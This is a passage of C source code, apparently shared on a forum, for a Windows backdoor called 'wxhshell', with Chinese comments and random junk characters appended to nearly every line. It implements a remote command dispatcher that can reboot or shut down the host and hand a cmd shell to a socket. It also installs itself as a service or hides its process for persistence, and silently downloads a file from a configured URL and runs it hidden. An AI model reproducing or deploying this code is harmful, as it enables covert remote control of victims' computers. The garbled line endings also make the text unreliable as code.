  } I|Vk.,  
  // 安装 ?FkQe~FN{  
  case 'i': { N:m@D][/sW  
    if(Install()) <|mE9u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ivWVsN*]  
    else t't^E,E .@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v'mJ~tz  
    break; f(EYx)gZ  
    } s^{{@O.  
  // 卸载 3Yn:fsy  
  case 'r': { DW'0j$;  
    if(Uninstall()) "~ .8eKRQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (:tTx>V#  
    else I^rZgp<'i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6)tB{:h&~0  
    break; YzforM^F  
    } (ouRf;\6$8  
  // 显示 wxhshell 所在路径 wz*)L (pP  
  case 'p': { |H3?ox*  
    char svExeFile[MAX_PATH]; +z~ !#j4Q  
    strcpy(svExeFile,"\n\r"); X3&SL~&>g  
      strcat(svExeFile,ExeFile); @g@ fL%  
        send(wsh,svExeFile,strlen(svExeFile),0); f(w#LuW<  
    break; \i&vOH'  
    } 8u7K$Q  
  // 重启 EhmUX@k],  
  case 'b': { !W+p<F1i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i-K"9z| )  
    if(Boot(REBOOT)) -(%ar%~Zd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vTe$77n  
    else { RE(=! 8lGR  
    closesocket(wsh); %_%f# S  
    ExitThread(0); v e6N  
    } ebl)6C  
    break; skC|io-Zv  
    } 4 HJZ^bq9|  
  // 关机 *?R\[59  
  case 'd': { sP3.s_U^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l_j<aCY?|  
    if(Boot(SHUTDOWN)) ZR01<V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M_e$l`"G  
    else { #()cG  
    closesocket(wsh); h,WY2Hr  
    ExitThread(0); ;KZtW  
    } k vgs $  
    break; ~=AKX(Q  
    } {i%x s#0h  
  // 获取shell ]Re~V{uh  
  case 's': { N;`[R>Z~  
    CmdShell(wsh); %[\Ft  
    closesocket(wsh); >%p m "+h{  
    ExitThread(0); b[[6X  
    break; :2UC{_  
  } Uh|__DUkh  
  // 退出 M6hvi(!X2  
  case 'x': { 4{pemqS*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L..X)-D2 n  
    CloseIt(wsh); `F+x]<m!  
    break; %d[xr h  
    } ,I&0#+}n  
  // 离开 a6k(O8Ank3  
  case 'q': { @<TfA>*VJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,8"[ /@  
    closesocket(wsh); Ualq>J5-m-  
    WSACleanup(); o? O,nD 6  
    exit(1); *"QE1Fum'  
    break; |Q)w3\S$  
        } BQ}.+T\  
  } &<P^Tvqq&  
  } v.LUK  
JTh =JHJ  
  // 提示信息 PD T\Q\J^X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mm7n?kb6  
} d,rEEc Y  
  } UrcN?  
)< a8a@  
  return; @Rb1)$~#  
} aq,)6P`  
-b>O4_N  
// shell模块句柄 rD U6 5j  
int CmdShell(SOCKET sock) HJ1\FO9\  
{ YG1`%,OW`  
STARTUPINFO si; #Xw[i  
ZeroMemory(&si,sizeof(si)); %V1T !<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^\kHEM|5v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P~ pbx  
PROCESS_INFORMATION ProcessInfo; [O+^eE6h  
char cmdline[]="cmd"; yqb <<4I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jG(~9P7  
  return 0; 5m7Ax] \  
} p>tdJjnt  
|wb(rua  
// 自身启动模式 MirBJL  
int StartFromService(void) W>wi;Gf#  
{ VrE5^\k<a  
typedef struct  <IDzv'  
{ {BCj VmY  
  DWORD ExitStatus; k Q(y^tW  
  DWORD PebBaseAddress; ]bE?n.NwZ  
  DWORD AffinityMask; }<h. chz,  
  DWORD BasePriority; 6Oba}`)q9  
  ULONG UniqueProcessId; 'I>#0VRr  
  ULONG InheritedFromUniqueProcessId; N_Ld,J%g  
}   PROCESS_BASIC_INFORMATION; OLup`~  
6SO7iFS  
PROCNTQSIP NtQueryInformationProcess; hsO.521g  
.) ;:K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \` ^Tbn:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]]o[fqD-Zn  
*`.{K12T  
  HANDLE             hProcess; TC{Qu;`H+U  
  PROCESS_BASIC_INFORMATION pbi; ^|;4/=bbs  
V(uRKu x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r K)  
  if(NULL == hInst ) return 0; y]4 `d  
/(pChY>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K.1yncS^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S)|b%mVwR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fh $&puF2  
8vW`E_n  
  if (!NtQueryInformationProcess) return 0; VDY1F_Fk  
n1(X%%2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ymX,k|lh  
  if(!hProcess) return 0; :Ia&,;Gc  
XqH<)B ]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i4rF~'h@  
/mu4J|[[  
  CloseHandle(hProcess); q#3X*!)  
a\_,_psK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S]=Vr%irX  
if(hProcess==NULL) return 0; NYvj?>[y  
82!GM.b  
HMODULE hMod; + aqo8'a  
char procName[255]; }_;!E@  
unsigned long cbNeeded;  yE,o~O  
zRFM/IYC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z5vI0 N$  
as!j0j%  
  CloseHandle(hProcess); S,RJ#.:F[t  
9W$)W  
if(strstr(procName,"services")) return 1; // 以服务启动 eJp-s" %  
toJ&$HrE  
  return 0; // 注册表启动 Pv.@Y 30  
} ved Qwzh  
0M+tKFb  
// 主模块 ~"Ki2'j)^]  
int StartWxhshell(LPSTR lpCmdLine) uwA3!5  
{ TN`:T.B  
  SOCKET wsl; yo?Q%w'Nh  
BOOL val=TRUE; K.m[S[cy  
  int port=0;  U~t(YT  
  struct sockaddr_in door; p n>`v   
R,1,4XT  
  if(wscfg.ws_autoins) Install(); ^0-=(JrC  
Mwc3@  
port=atoi(lpCmdLine); ?='9YM  
1tpD|  
if(port<=0) port=wscfg.ws_port; [Cp{i<C  
y8z%s/gRh  
  WSADATA data; &}1)]6q$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,$-PC=Ti(  
L9oZ7o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ayp}TYh*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cyNLeg+O*  
  door.sin_family = AF_INET; musxX58%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +(%[fW  
  door.sin_port = htons(port); 3: Uik  
O_^h 7   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >O~5s.1u  
closesocket(wsl); e r$'c  
return 1; GK&Dd"v  
} E76:}(  
BUyA]  
  if(listen(wsl,2) == INVALID_SOCKET) { --kK<9J7  
closesocket(wsl); `0:@`)&g1  
return 1; 9lV'3UG-?  
} 4PQWdPv;  
  Wxhshell(wsl); 7!%"8Rl-  
  WSACleanup(); f lB2gr^  
y9)",G!  
return 0; ^ BKr0~4A  
sN2l[Ous  
} vE(Hy&Q&  
Dy!fwYPA/{  
// 以NT服务方式启动 p;Kr664  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qE{S'XyM,  
{ ]XU#i#;c  
DWORD   status = 0; (xL=X%6a  
  DWORD   specificError = 0xfffffff; /$(D>KU  
vNGvEJ`qn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ( Iew%U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W:\VFP f2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ji q[VeLe  
  serviceStatus.dwWin32ExitCode     = 0; <!^Z|E  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ZG1  
  serviceStatus.dwCheckPoint       = 0; W6Pg:Il7  
  serviceStatus.dwWaitHint       = 0; C.<4D1}P  
bAp`lmFI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \ua.%|  
  if (hServiceStatusHandle==0) return; g\'sGt3O  
ty>O}9%  
status = GetLastError(); YP l{5 =  
  if (status!=NO_ERROR) x{$NstGB  
{ if>] )g2lr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RMK U5A7  
    serviceStatus.dwCheckPoint       = 0; uE(w$2Wi  
    serviceStatus.dwWaitHint       = 0; O5 SX"A  
    serviceStatus.dwWin32ExitCode     = status; ?*,q#ZkA9W  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^MUM04l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hM}2++V  
    return; z/b*]"g,  
  } 4<|u~n*JF  
{ SV$fl;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zdCt#=QV?R  
  serviceStatus.dwCheckPoint       = 0; Za w+  
  serviceStatus.dwWaitHint       = 0; &kvVMn ok  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qb&*,zN  
} t At+5H  
kWFR(J&R  
// 处理NT服务事件,比如:启动、停止 Lrq&k40y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V EzIWNV  
{ OK=t)6&b  
switch(fdwControl) GF&"nW9A  
{ 5 *_#"  
case SERVICE_CONTROL_STOP: X}$S|1CjO  
  serviceStatus.dwWin32ExitCode = 0; ;G$FLL1   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yrw!b\  
  serviceStatus.dwCheckPoint   = 0; #'qW?8d}  
  serviceStatus.dwWaitHint     = 0; 1a<~Rmcil  
  { ,P^"X5$   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &D:88   
  } /NZ R|  
  return; I8y\D,  
case SERVICE_CONTROL_PAUSE: \GWC5R7Q0j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +\4=G@P.J  
  break; DcS~@ ;  
case SERVICE_CONTROL_CONTINUE: 6%TV X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v&Kw 3!X#E  
  break; eC?N>wHH  
case SERVICE_CONTROL_INTERROGATE: /1*\*<cs  
  break; _N6GV$Q  
}; ~&kV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o%:eYl  
} -UO$$)Q  
o&=m]hKpQl  
// 标准应用程序主函数 6o!"$IH4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^IpS 3y  
{ mYCGGwD  
RaAq>B WPr  
// 获取操作系统版本 pS0T>r  
OsIsNt=GetOsVer(); b> | oU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -Db(  
g(1'i1  
  // 从命令行安装 Uu ,Re  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~c4Y*]J  
Ae1},2py  
  // 下载执行文件 3jeR;N]x  
if(wscfg.ws_downexe) { 5@Sb[za  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \a<E3 <  
  WinExec(wscfg.ws_filenam,SW_HIDE); pxgv(:Tw  
} ;k>{I8L~  
F XbNmBXF  
if(!OsIsNt) {  m{~r6@  
// 如果时win9x,隐藏进程并且设置为注册表启动 YV+e];s  
HideProc(); B6BOy~B0  
StartWxhshell(lpCmdLine); QFMS]  
} Z EW`?6  
else K|iNEhuc  
  if(StartFromService()) rS=6d6@  
  // 以服务方式启动 #C|iW@  
  StartServiceCtrlDispatcher(DispatchTable); p?Y1^/   
else 3'8~H]<W  
  // 普通方式启动 fy-( B;  
  StartWxhshell(lpCmdLine); 1UOFTI2S|  
\o/oM,u  
return 0; _$r+*nGDz  
}
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只看该作者 1 发表于: 2006-10-10
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